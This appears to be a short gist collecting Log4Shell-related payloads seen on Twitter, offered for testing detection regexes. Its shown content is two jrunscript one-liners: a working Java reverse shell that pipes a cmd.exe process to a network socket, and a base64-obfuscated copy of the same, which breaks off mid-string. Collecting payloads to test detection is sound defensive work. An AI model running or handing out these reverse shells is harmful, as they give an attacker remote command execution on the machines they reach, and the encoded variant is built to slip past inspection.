Objective

This gist gather a list of log4shell payloads seen on my twitter feeds.

💨 I will update it every time I see new payloads.

The goal is to allows testing detection regexes defined in protection systems.

• Reverse Shell

$ jrunscript -e 'var host="localhost"; var port=8044; var cmd="cmd.exe"; var p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();var s=new java.net.Socket(host,port);var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'

• Reverse Shell (Base-64 encoded)

$ jrunscript -e 'eval(new java.lang.String(javax.xml.bind.DatatypeConverter.parseBase64Binary("dmFyIGhvc3Q9ImxvY2FsaG9zdCI7IHZhciBwb3J0PTgwNDQ7IHZhciBjbWQ9ImNtZC5leGUiOyB2YXIgcD1uZXcgamF2YS5sYW5nLlByb2Nlc3NCdWlsZGVyKGNtZCkucmVkaXJlY3RFcnJvclN0cmVhbSh0cnVlKS5zdGFydCgpO3ZhciBzPW5ldyBqYXZhLm5ldC5Tb2NrZXQoaG9zdCxwb3J0KTt2YXIgcGk9cC5nZXRJbnB1dFN0cmVhbSgpLHBlPXAuZ2V
